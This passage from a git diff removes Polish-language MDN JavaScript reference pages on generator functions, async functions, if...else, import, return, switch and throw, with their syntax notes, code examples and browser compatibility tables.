function* yieldAndReturn() {
-  yield "Y";
-  return "R";
-  yield "unreachable";
-}
-
-var gen = yieldAndReturn()
-console.log(gen.next()); // { value: "Y", done: false }
-console.log(gen.next()); // { value: "R", done: true }
-console.log(gen.next()); // { value: undefined, done: true }
- -

Generator nie jest typowym konstruktorem

- -
function* f() {}
-var obj = new f; // throws "TypeError: f is not a constructor"
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#', 'function*')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ES2016', '#', 'function*')}}{{Spec2('ES2016')}}Changed that generators should not have [[Construct]] trap and will throw when used with new.
{{SpecName('ESDraft', '#', 'function*')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet Explorer EdgeOperaSafari (WebKit)
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("26.0")}}{{CompatNo}}1326{{CompatSafari("10")}}
yield*{{CompatVersionUnknown}}{{CompatGeckoDesktop("27.0")}}{{CompatNo}}1326{{CompatSafari("10")}}
IteratorResult object instead of throwing{{CompatVersionUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatNo}}13{{CompatVersionUnknown}}{{CompatUnknown}}
Not constructable with new as per ES2016{{CompatVersionUnknown}}{{CompatGeckoDesktop("43.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Trailing comma in parameters{{CompatUnknown}}{{CompatGeckoDesktop("52.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("10")}}{{CompatChrome(39.0)}}
yield*{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("27.0")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("10")}}{{CompatVersionUnknown}}
IteratorResult object instead of throwing{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("29.0")}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
Not constructable with new as per ES2016{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("43.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Trailing comma in parameters{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("52.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

Firefox-specific notes

- -

Generatory i iteratory w Firefox przed wersją 26

- -

Starsze wersje Firefox implementują nieco inną, bardziej archaiczną propozycje specyfikacji. W starszych wersjach definiowanie generatorów odbywało się za pomocą wyłącznie słowa kluczowego function (bez dodatkowej gwiazdki). Tą i wiele innych drobnych różnic można sprawdzić na Legacy generator function.

- -

IteratorResult zwraca obiekt zamiast rzucać wyjątek

- -

Począwszy od silnika Gecko 29 {{geckoRelease(29)}}, zakończony generator nie rzuca już więcej wyjątkami {{jsxref("TypeError")}} "generator has already finished". W zamian za to zwraca obiekt IteratorResult w postaci { value: undefined, done: true } ({{bug(958951)}}).

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html b/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html deleted file mode 100644 index 95b488405e..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html +++ /dev/null @@ -1,264 +0,0 @@ ---- -title: funkcja async -slug: Web/JavaScript/Referencje/Polecenia/funkcja_async -translation_of: Web/JavaScript/Reference/Statements/async_function ---- -
-
{{jsSidebar("Statements")}}
- -

Deklaracja funkcji async definiuje funkcję asynchroniczną, która zwraca obiekt  {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}. Funkcja asynchroniczna to funkcja, która działa asynchroniczne poprzez zdarzenie pętli używając bezwarunkowego {{jsxref("Promise")}} do zwrócenia wyniku. Składnia i struktura kodu używanego przy funkcjach asynchronicznych jest jednakże bardziej podobna do znanych ze standardowych funkcji synchronicznych.

- -
-

Możesz zdefiniować funkcje asynchroniczne również poprzez użycie {{jsxref("Operators/async_function", "async function expression", "", 1)}}.

-
-
- -
{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}
- - - -

Składnia

- -
async function name([param[, param[, ... param]]]) {
-   statements
-}
-
- -

Parametry

- -
-
name
-
Nazwa funkcji.
-
- -
-
param
-
Nazwa argumentu, który zostanie podany do funkcji.
-
- -
-
statements
-
Wyrażenia stanowiące ciało funkcji.
-
- -

Wartość zwrotna (return)

- -

Promise, które zostanie rozwiązane z wartością zwróconą przez funkcję asynchroniczną lub odrzucone z nieprzechwyconym wyjątkiem wyrzuconym z funkcji asynchronicznej.

- -

Opis

- -

Funkcja async może zawierać wyrażenie {{jsxref("Operators/await", "await")}}, które wstrzymuje wywołanie funkcji asynchronicznej i czeka na przekazaną deklarację Promisei wtedy wznawia wywołanie funkcji async oraz interpretuje jako wartość rozwiązaną.
-
- Pamiętaj, że polecenie await działa wyłącznie wewnątrz funkcji async. Jeśli użyjesz go poza ciałem funkcji async otrzymasz SyntaxError.

- -

Zauważ, że kiedy funkcja async jest wstrzymana, funkcja wywołująca kontynuuje działanie (otrzymując domyślny Promise zwracany przez funkcję async).

- -
-

Celem funkcji async/await jest uproszczenie działania używając obietnic (promises) synchronicznie oraz by wykonać pewne działania w grupie Promises. Tak, jak Promises są podobne do strukturalnych callbacków, tak async/await jest podobne do kombinacji generatorów i obietnic.

-
- -

Przykłady

- -

Prosty przykład

- -
var resolveAfter2Seconds = function() {
-  console.log("starting slow promise");
-  return new Promise(resolve => {
-    setTimeout(function() {
-      resolve("slow");
-      console.log("wolna obietnica została wykonana");
-    }, 2000);
-  });
-};
-
-var resolveAfter1Second = function() {
-  console.log("starting fast promise");
-  return new Promise(resolve => {
-    setTimeout(function() {
-      resolve("fast");
-      console.log("szybka obietnica została wykonana");
-    }, 1000);
-  });
-};
-
-var sequentialStart = async function() {
-  console.log('==START SEKWENCYJNY==');
-
-  // 1. Niemalże natychmiast dochodzi do wywołania
-  const slow = await resolveAfter2Seconds();
-  console.log(slow); // 2. to zostaje wywołanie 2s po 1.
-
-  const fast = await resolveAfter1Second();
-  console.log(fast); // 3. to zostaje wykonane 3s po 1.
-}
-
-var concurrentStart = async function() {
-  console.log('==RÓWNOCZESNY START z await==');
-  const slow = resolveAfter2Seconds(); // licznik startuje od razu
-  const fast = resolveAfter1Second(); // licznik startuje od razu
-
-  // 1. Niemalże natychmiast dochodzi do wywołania
-  console.log(await slow); // 2. jest wywołane 2s po 1.
-  console.log(await fast); // 3. jest wywołane 2s po 1., natychmiast po 2., podczas gdy szybka jest już wykonana
-}
-
-var concurrentPromise = function() {
-  console.log('==RÓWNOCZESNY START z Promise.all==');
-  return Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) => {
-    console.log(messages[0]); // wolne
-    console.log(messages[1]); // szybkie
-  });
-}
-
-var parallel = async function() {
-  console.log('==RÓWNOLEGLE z await Promise.all==');
-
-  // Równolegle startują dwa zadania i czekamy na zakończenie działania obu
-  await Promise.all([
-      (async()=>console.log(await resolveAfter2Seconds()))(),
-      (async()=>console.log(await resolveAfter1Second()))()
-  ]);
-}
-
-// This function does not handle errors. See warning below!
-var parallelPromise = function() {
-  console.log('==PARALLEL with Promise.then==');
-  resolveAfter2Seconds().then((message)=>console.log(message));
-  resolveAfter1Second().then((message)=>console.log(message));
-}
-
-sequentialStart(); // after 2 seconds, logs "slow", then after 1 more second, "fast"
-
-// wait above to finish
-setTimeout(concurrentStart, 4000); // after 2 seconds, logs "slow" and then "fast"
-
-// wait again
-setTimeout(concurrentPromise, 7000); // same as concurrentStart
-
-// wait again
-setTimeout(parallel, 10000); // truly parallel: after 1 second, logs "fast", then after 1 more second, "slow"
-
-// wait again
-setTimeout(parallelPromise, 13000); // same as parallel
-
- -
-

await and parallelism

- -

In sequentialStart, execution suspends 2 seconds for the first await, and then again another 1 second for the second await. The second timer is not created until the first has already fired. The code finishes after 3 seconds.

- -

In concurrentStart, both timers are created and then awaited. The timers are running concurrently, which means the code finishes in 2 rather than 3 seconds, i.e. the slowest timer.
- However the await calls are still running in series, which means the second await will wait for the first one to finish. In this case, this leads to the processing of the result of the fastest timer to be performed after the slowest.

- -

If you wish to fully perform two or more jobs in parallel, you must use await Promise.all([job1(), job2()]) as shown in the parallel example.

-
- -
-

async/await vs Promise#then and error handling

- -

Most async functions can also be written as regular functions using Promises. However async functions are a little bit less error-prone when it comes to error handling.

- -

Both concurrentStart and concurrentPromise are functionally equivalent.
- In concurrentStart, if either of the awaited calls fail, the exception will be automatically caught, the async function execution interrupted, and the Error propagated to the caller through the implicit return Promise.
- For the same to happen in the Promise case, the function must take care of returning a Promise which captures the completion of the function. In concurrentPromise that means returning the promise from Promise.all([]).then(). As a matter of fact, a previous version of this example forgot to do this!

- -

It is however still possible for async functions to mistakenly swallow errors.
- Take for example the parallel async function. If it didn't await (or return) the result of the Promise.all([]) call, any Error would not have been propagated.
- While the parallelPromise example seem simple, it does not handle errors at all! Doing so would require a similar return Promise.all([]).

-
- -

Rewriting a promise chain with an async function

- -

An API that returns a {{jsxref("Promise")}} will result in a promise chain, and it splits the function into many parts. Consider the following code:

- -
function getProcessedData(url) {
-  return downloadData(url) // returns a promise
-    .catch(e => {
-      return downloadFallbackData(url); // returns a promise
-    })
-    .then(v => {
-      return processDataInWorker(v); // returns a promise
-    });
-}
-
- -

it can be rewritten with a single async function as follows:

- -
async function getProcessedData(url) {
-  let v;
-  try {
-    v = await downloadData(url);
-  } catch(e) {
-    v = await downloadFallbackData(url);
-  }
-  return processDataInWorker(v);
-}
-
- -

Note that in the above example, there is no await statement on the return statement, because the return value of an async function is implicitly wrapped in {{jsxref("Promise.resolve")}}.

- -
-

return await promiseValue; vs. return promiseValue;

- -

The implicit wrapping of return values in {{jsxref("Promise.resolve")}} does not imply that return await promiseValue; is functionally equivalent to return promiseValue;

- -

Consider the following rewrite of the above code that returns null if processDataInWorker were to reject with an error:

- -
async function getProcessedData(url) {
-  let v;
-  try {
-    v = await downloadData(url);
-  } catch(e) {
-    v = await downloadFallbackData(url);
-  }
-  try {
-    return await processDataInWorker(v); // Note the `return await` vs. just `return`
-  } catch (e) {
-    return null;
-  }
-}
-
- -

Having simply written return processDataInWorker(v); would have caused the {{jsxref("Promise")}} returned by the function to reject instead of resolving to null in the case where processDataInWorker(v) rejects. This highlights the subtle difference between return foo; and return await foo; which is that return foo; will immediately return foo and never throw even if foo is a promise and rejects whereas return await foo; will wait for foo to resolve or reject if it's a promise and will throw before returning if it rejects.

-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}Initial definition in ES2017.
{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES8')}}
- -

Browser compatibility

- -
- - -

{{Compat("javascript.statements.async_function")}}

-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/polecenia/if...else/index.html b/files/pl/web/javascript/referencje/polecenia/if...else/index.html deleted file mode 100644 index 38dd3c8f8a..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/if...else/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: if...else -slug: Web/JavaScript/Referencje/Polecenia/if...else -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/if...else ---- -

-

-

Podsumowanie

-

Wykonuje blok poleceń, jeśli dany warunek jest spełniony. Jeśli warunek nie jest spełniony, może zostać wykonany inny blok poleceń. -

- - - - - - - - - - - - -
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
-

Składnia

-
if (warunek) {
-   polecenia1
-}
-[else {
-   polecenia2
-}]
-
-

Parametry

-
warunek 
może być dowolnym wyrażeniem JavaScriptu przyjmującym wartości logiczne (true, false) lub mogącym być na wartości logiczne przekonwertowane. Warunek musi być ujęty w nawiasach. Jeśli warunek jest spełniony (ma wartość true), wykonywane są polecenia w bloku polecenia1. -
-
polecenia1, polecenia2 
mogą być dowolnymi poleceniami JavaScriptu, w tym zagnieżdżonymi poleceniami if...else. Bloki wielu poleceń muszą być ujęte w nawiasy klamrowe. -
-

Opis

-

Nie powinno się używać prostych operatorów przypisania w wyrażeniu warunkowym. Przykładowo, nie należy używać kodu podobnego do poniższego: -

-
if(x = y)
-{
-   /* zrób coś */
-}
-
-

Jeśli potrzebujesz użyć przypisania w wyrażeniu warunkowym, użyj dodatkowej pary nawiasów. Na przykład: if( (x = y) ). -

-

Przykłady

-

Przykład: Zastosowanie if...else

-
if (cipher_char == from_char) {
-   result = result + to_char
-   x++}
-else
-   result = result + clear_char
-
-


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/if...else", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/if...else", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/if...else", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/if...else" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/import/index.html b/files/pl/web/javascript/referencje/polecenia/import/index.html deleted file mode 100644 index 406050c420..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/import/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: import -slug: Web/JavaScript/Referencje/Polecenia/import -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/import ---- -

-

-

Podsumowanie

-

Pozwala zaimportować własności, funkcje i obiekty z podpisanego skryptu, który wyeksportował informację. -

Tej cechy nie ma w 3 edycji ECMA 262. -

- - - - - - - - -
Instrukcja
Zaimplementowane w:JavaScript 1.2, NES 3.0
-

Składnia

-

-import objectName.name1, objectName.name2, ..., objectName.nameN; - -

-import objectName.*; - -

-

Parametry

-
objectName 
Nazwa obiektu, który przyjmie zaimportowane nazwy. -
-
nameN 
Własność, funkcja lub obiekt do zaimportowania. -
-

Opis

-

Parametr objectName jest nazwą obiektu, który przyjmie zaimportowane nazwy. Na przykład jeśli f i p zostały wyeksportowane i obj jest obiektem z importującego skryptu, to poniższy kod zrobi f i p dostępnymi jako własności obj wewnątrz skryptu importującego. -

-
import obj.f, obj.p;
-
-

Pierwsza składnia importuje określone własności, funkcje i obiekty z wyeksportowanego skryptu. -

Druga składnia importuje wszystkie własności, funkcje i obiekty z wyeksportowanego skryptu. -

Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie (używając instrukcji export) własności, funkcji i obiektów podpisany skrypt robi tę informację dostępną dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji import, by uzyskać dostęp do tej informacji. -

Skrypt musi załadować skrypt eksportowy do okna, ramki lub warstwy zanim będzie on mógł zaimportować i użyć którejkolwiek z wyeksportowanych własności, funkcji lub obiektów. -

-

Zobacz także

-

export -


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/import", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/import", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/import" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/index.html b/files/pl/web/javascript/referencje/polecenia/index.html deleted file mode 100644 index b6f58b783c..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Polecenia -slug: Web/JavaScript/Referencje/Polecenia -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements ---- -
{{jsSidebar("Statements")}}
- -

JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.

- -

Statements and declarations by category

- -

For an alphabetical listing see the sidebar on the left.

- -

Control flow

- -
-
{{jsxref("Statements/block", "Block")}}
-
A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.
-
{{jsxref("Statements/break", "break")}}
-
Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.
-
{{jsxref("Statements/continue", "continue")}}
-
Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.
-
{{jsxref("Statements/Empty", "Empty")}}
-
An empty statement is used to provide no statement, although the JavaScript syntax would expect one.
-
{{jsxref("Statements/if...else", "if...else")}}
-
Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.
-
{{jsxref("Statements/switch", "switch")}}
-
Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.
-
{{jsxref("Statements/throw", "throw")}}
-
Throws a user-defined exception.
-
{{jsxref("Statements/try...catch", "try...catch")}}
-
Marks a block of statements to try, and specifies a response, should an exception be thrown.
-
- -

Declarations

- -
-
{{jsxref("Statements/var", "var")}}
-
Declares a variable, optionally initializing it to a value.
-
{{jsxref("Statements/let", "let")}}
-
Declares a block scope local variable, optionally initializing it to a value.
-
{{jsxref("Statements/const", "const")}}
-
Declares a read-only named constant.
-
- -

Functions and classes

- -
-
{{jsxref("Statements/function", "function")}}
-
Declares a function with the specified parameters.
-
{{jsxref("Statements/function*", "function*")}}
-
Generator Functions enable writing iterators more easily.
-
{{jsxref("Statements/async_function", "async function")}}
-
Declares an async function with the specified parameters.
-
{{jsxref("Statements/return", "return")}}
-
Specifies the value to be returned by a function.
-
{{jsxref("Statements/class", "class")}}
-
Declares a class.
-
- -

Iterations

- -
-
{{jsxref("Statements/do...while", "do...while")}}
-
Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.
-
{{jsxref("Statements/for", "for")}}
-
Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.
-
{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}
-
Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.
-
{{jsxref("Statements/for...in", "for...in")}}
-
Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.
-
{{jsxref("Statements/for...of", "for...of")}}
-
Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, iterators and generators), invoking a custom iteration hook with statements to be executed for the value of each distinct property.
-
{{jsxref("Statements/while", "while")}}
-
Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.
-
- -

Others

- -
-
{{jsxref("Statements/debugger", "debugger")}}
-
Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.
-
{{jsxref("Statements/export", "export")}}
-
Used to export functions to make them available for imports in external modules, another scripts.
-
{{jsxref("Statements/import", "import")}}
-
Used to import functions exported from an external module, another script.
-
{{jsxref("Statements/label", "label")}}
-
Provides a statement with an identifier that you can refer to using a break or continue statement.
-
- -
-
{{deprecated_inline}} {{jsxref("Statements/with", "with")}}
-
Extends the scope chain for a statement.
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1', '#sec-12', 'Statements')}}{{Spec2('ES1')}}Initial definition
{{SpecName('ES3', '#sec-12', 'Statements')}}{{Spec2('ES3')}} 
{{SpecName('ES5.1', '#sec-12', 'Statements')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ES6')}}New: function*, let, for...of, yield, class
{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- - - -

{{Compat("javascript.statements")}}

- -

See also

- - diff --git a/files/pl/web/javascript/referencje/polecenia/return/index.html b/files/pl/web/javascript/referencje/polecenia/return/index.html deleted file mode 100644 index ed7849ed65..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/return/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: return -slug: Web/JavaScript/Referencje/Polecenia/return -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/return ---- -

-

-

Podsumowanie

-

Określa wartość, która ma być zwrócona przez funkcję. -

- - - - - - - - - - - - -
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262
-

Składnia

-

-return wyrażenie; - -

-

Parametry

-
wyrażenie 
wyrażenie, którego wynik ma być zwrócony. -
-

Przykłady

-

Przykład: Zastosowanie return

-

Poniższa funkcja zwraca kwadrat swojego argumentu x (gdzie x jest liczbą). -

-
function kwadrat(x) {
-   return x * x;
-}
-
-


-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/return", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/return", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/return", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/return" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/switch/index.html b/files/pl/web/javascript/referencje/polecenia/switch/index.html deleted file mode 100644 index d131e042ca..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/switch/index.html +++ /dev/null @@ -1,285 +0,0 @@ ---- -title: switch -slug: Web/JavaScript/Referencje/Polecenia/switch -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/switch ---- -
{{jsSidebar("Statements")}}
- -

Instrukcja switch ocenia wyrażenie, dopasowując wartość wyrażenia do klauzuli case, i wykonuje instrukcje powiązane z tym case, a także instrukcje w przypadkach następujących po dopasowanym przypadku.

- -
{{EmbedInteractiveExample("pages/js/statement-switch.html")}}
- - - -

Syntax

- -
switch (expression) {
-  case value1:
-    //Statements executed when the
-    //result of expression matches value1
-    [break;]
-  case value2:
-    //Statements executed when the
-    //result of expression matches value2
-    [break;]
-  ...
-  case valueN:
-    //Statements executed when the
-    //result of expression matches valueN
-    [break;]
-  [default:
-    //Statements executed when none of
-    //the values match the value of the expression
-    [break;]]
-}
- -
-
expression
-
Wyrażenie, którego wynik jest dopasowany do każdej klauzuli przypadku.
-
case valueN {{optional_inline}}
-
Klauzula przypadku używana do dopasowania do wyrażenia. Jeśli wyrażenie pasuje do podanej wartościN, instrukcje wewnątrz klauzuli case są wykonywane do końca instrukcji switch lub break.
-
default {{optional_inline}}
-
A default clause; if provided, this clause is executed if the value of expression doesn't match any of the case clauses.
-
- -

Description

- -

A switch statement first evaluates its expression. It then looks for the first case clause whose expression evaluates to the same value as the result of the input expression (using the strict comparison, ===) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)

- -

If no matching case clause is found, the program looks for the optional default clause, and if found, transfers control to that clause, executing the associated statements. If no default clause is found, the program continues execution at the statement following the end of switch. By convention, the default clause is the last clause, but it does not need to be so.

- -

The optional break statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If break is omitted, the program continues execution at the next statement in the switch statement.

- -

Examples

- -

Using switch

- -

In the following example, if expr evaluates to "Bananas", the program matches the value with case "Bananas" and executes the associated statement. When break is encountered, the program breaks out of switch and executes the statement following switch. If break were omitted, the statement for case "Cherries" would also be executed.

- -
switch (expr) {
-  case 'Oranges':
-    console.log('Oranges are $0.59 a pound.');
-    break;
-  case 'Apples':
-    console.log('Apples are $0.32 a pound.');
-    break;
-  case 'Bananas':
-    console.log('Bananas are $0.48 a pound.');
-    break;
-  case 'Cherries':
-    console.log('Cherries are $3.00 a pound.');
-    break;
-  case 'Mangoes':
-  case 'Papayas':
-    console.log('Mangoes and papayas are $2.79 a pound.');
-    break;
-  default:
-    console.log('Sorry, we are out of ' + expr + '.');
-}
-
-console.log("Is there anything else you'd like?");
-
- -

What happens if I forgot a break?

- -

If you forget a break then the script will run from the case where the criterion is met and will run the case after that regardless if criterion was met. See example here:

- -
var foo = 0;
-switch (foo) {
-  case -1:
-    console.log('negative 1');
-    break;
-  case 0: // foo is 0 so criteria met here so this block will run
-    console.log(0);
-    // NOTE: the forgotten break would have been here
-  case 1: // no break statement in 'case 0:' so this case will run as well
-    console.log(1);
-    break; // it encounters this break so will not continue into 'case 2:'
-  case 2:
-    console.log(2);
-    break;
-  default:
-    console.log('default');
-}
- -

Can I put a default between cases?

- -

Yes, you can! JavaScript will drop you back to the default if it can't find a match:

- -
var foo = 5;
-switch (foo) {
-  case 2:
-    console.log(2);
-    break; // it encounters this break so will not continue into 'default:'
-  default:
-    console.log('default')
-    // fall-through
-  case 1:
-    console.log('1');
-}
-
- -

It also works when you put default before all other cases.

- -

Rewriting multiple If statements with Switch

- -

Shown below as a possibility.

- -
var a = 100;
-var b = NaN;
-switch (true) {
-  case isNaN(a) || isNaN(b):
-    console.log('NaNNaN');
-    break;
-  case a === b:
-    console.log(0);
-    break;
-  case a < b:
-    console.log(-1);
-    break;
-  default:
-    console.log(1);
-}
-
- -

Methods for multi-criteria case

- -

Source for this technique is here:

- -

Switch statement multiple cases in JavaScript (Stack Overflow)

- -

Multi-case - single operation

- -

This method takes advantage of the fact that if there is no break below a case statement it will continue to execute the next case statement regardless if the case meets the criteria. See the section titled "What happens if I forgot a break?"

- -

This is an example of a single operation sequential switch statement, where four different values perform exactly the same.

- -
var Animal = 'Giraffe';
-switch (Animal) {
-  case 'Cow':
-  case 'Giraffe':
-  case 'Dog':
-  case 'Pig':
-    console.log('This animal will go on Noah\'s Ark.');
-    break;
-  case 'Dinosaur':
-  default:
-    console.log('This animal will not.');
-}
- -

Multi-case - chained operations

- -

This is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different output. This shows you that it will traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.

- -
var foo = 1;
-var output = 'Output: ';
-switch (foo) {
-  case 10:
-    output += 'So ';
-  case 1:
-    output += 'What ';
-    output += 'Is ';
-  case 2:
-    output += 'Your ';
-  case 3:
-    output += 'Name';
-  case 4:
-    output += '?';
-    console.log(output);
-    break;
-  case 5:
-    output += '!';
-    console.log(output);
-    break;
-  default:
-    console.log('Please pick a number from 0 to 6!');
-}
- -

The output from this example:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValueLog text
foo is NaN or not 1, 2, 3, 4, 5 or 10Please pick a number from 0 to 6!
10Output: So What Is Your Name?
1Output: What Is Your Name?
2Output: Your Name?
3Output: Name?
4Output: ?
5Output: !
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.2
{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}}
- -

Browser compatibility

- - - -

{{Compat("javascript.statements.switch")}}

- -

See also

- - diff --git a/files/pl/web/javascript/referencje/polecenia/throw/index.html b/files/pl/web/javascript/referencje/polecenia/throw/index.html deleted file mode 100644 index a8d57064f5..0000000000 --- a/files/pl/web/javascript/referencje/polecenia/throw/index.html +++ /dev/null @@ -1,197 +0,0 @@ ---- -title: throw -slug: Web/JavaScript/Referencje/Polecenia/throw -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Statements/throw ---- -
{{jsSidebar("Statements")}}
- -

The throw statement throws a user-defined exception. Execution of the current function will stop (the statements after throw won't be executed), and control will be passed to the first catch block in the call stack. If no catch block exists among caller functions, the program will terminate.

- -
{{EmbedInteractiveExample("pages/js/statement-throw.html")}}
- - -

Syntax

- -
throw expression; 
- -
-
expression
-
The expression to throw.
-
- -

Description

- -

Use the throw statement to throw an exception. When you throw an exception, expression specifies the value of the exception. Each of the following throws an exception:

- -
throw 'Error2'; // generates an exception with a string value
-throw 42;       // generates an exception with the value 42
-throw true;     // generates an exception with the value true
- -

Also note that the throw statement is affected by automatic semicolon insertion (ASI) as no line terminator between the throw keyword and the expression is allowed.

- -

Examples

- -

Throw an object

- -

You can specify an object when you throw an exception. You can then reference the object's properties in the catch block. The following example creates an object of type UserException and uses it in a throw statement.

- -
function UserException(message) {
-   this.message = message;
-   this.name = 'UserException';
-}
-function getMonthName(mo) {
-   mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
-   var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
-      'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
-   if (months[mo] !== undefined) {
-      return months[mo];
-   } else {
-      throw new UserException('InvalidMonthNo');
-   }
-}
-
-try {
